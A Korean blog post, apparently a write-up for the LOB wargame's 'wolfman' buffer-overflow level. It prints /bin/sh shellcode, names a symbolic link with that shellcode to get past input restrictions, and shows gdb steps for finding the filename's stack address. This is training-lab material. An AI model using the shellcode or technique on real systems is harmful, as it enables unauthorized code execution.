본문 바로가기
워게임/LOB

LOB - wolfman (심볼릭 링크)

by meanjung 2021. 7. 31.

내가 익스해왔던 모든 방법을 막아버렸군...

1. 환경 변수 안 됨

2. argv 안 됨

3. buffer에 넣기 안 됨....

 

남은 방법은 심볼릭 링크 사용하는 것...

 

어떻게 사용할 것인가?

파일 이름을 쉘코드로 만들고, 48byte는 "더미 char"*44 + "파일이름(쉘코드)으로 리턴주소" 로 구성하면 될 것 같다.

 


 

먼저, 쉘코드 이름으로 심볼릭 링크를 생성했다.

ln -s darkelf `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

        -> 여태 쓰던 쉘코드

 

 

이렇게 하면, no such file or directory가 뜰 것이다.

처음엔 ln을 잘못 사용한 줄 알았다.

 

 

그런데, ln -s darkelf `python -c 'print "A"*2 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

이런 식으로 변형을 줘보다가 깨달았다.

 

 

슬래시( / )는 hex값이 2f이다.       를 보면 \x2f가 보일 것이다.

이걸 파일 경로로 파악해서 심볼릭 링크가 생성이 안 된 것이다.

 

 

"슬래시없는 쉘코드" 구글링 ㄱㄱ

 

 

찾았다

https://kortsec1n4mationm.tistory.com/18

 

shellcode (0x2f 없애기)

간혹가다 디렉터리명/파일명에 쉘코드를 넣어놓고 argv[0]나 스택의 끝부분을 활용해야하는 상황이 있습니다. 우리가 만들어논 25byte 쉘코드로는 실행이 되지 않습니다. 왜 그럴까요? 0x2f때문인데

kortsec1n4mationm.tistory.com

 

 

 

이제 이 쉘코드로 심볼릭 링크 만들기 고고

만들어진 것을 볼 수 있다.

 

 

 

마지막으로, 이 쉘코드 즉 심볼릭 링크의 파일 이름이 어디에 위치하는지 알아내는 것이 문제이다.

cp darkelf tmp

gdb tmp

b*main

r AAAA(-> 아무값)

x/100x 0xbfffffd0 (-> 0xc0000000에 가까운 값 아무거나)

 

이 결과를 보면, 

이렇게 나오는데, 0xc0000000은 스택의 가장 높은 주소(끝)이고,

0xc0000000에서부터 \x00(null)이 5개 있는 것을 볼 수 있다. 갑자기 00이 안나오고 706d74가 뭘 의미하는지 파악했다.

실행한 파일이름이구나!

 

0xc0000000 - 4에 \x00 * 4개 있고, 0xc0000000 - 8에 \x00 * 1개 있고,

심볼릭 링크 만든 파일 이름(쉘코드)은 35바이트니까, 파일 이름의 처음 위치를 파악할 수 있다.

 

 

파악한 대로 익스한다.

'워게임 > LOB' 카테고리의 다른 글

LOB - troll (환경변수)  (0) 2021.08.01
LOB - darkelf  (0) 2021.07.31
LOB - orc  (0) 2021.07.31
LOB - goblin  (0) 2021.07.31
[풀이X흐름O]LOB - gate  (0) 2021.07.30

댓글